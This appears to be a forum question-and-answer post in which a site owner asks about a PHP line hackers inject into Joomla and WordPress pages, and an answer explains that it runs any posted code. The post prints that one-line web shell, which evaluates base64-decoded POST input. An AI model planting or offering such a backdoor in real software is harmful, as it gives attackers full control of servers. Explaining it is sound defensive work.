base64_decode injected code inside php file

Question

Sorry if this is the wrong place to ask this question but I wonder what the below code will do. I see this kind of code often. I do not know what this code do. Hackers usually inject this kind of code in many pages of joomla and wordpress website after they hack the site. If any one can explain the code then I'll be gald.

<?php eval(base64_decode($_POST['na7fe23']));?>

Answer 1

If someone posts a chunk of PHP-code in the field 'na7fe23' to this script, then that posted code will be executed on your server.

This basically allows anyone to execute any PHP script on your server, so you're seriously compromised.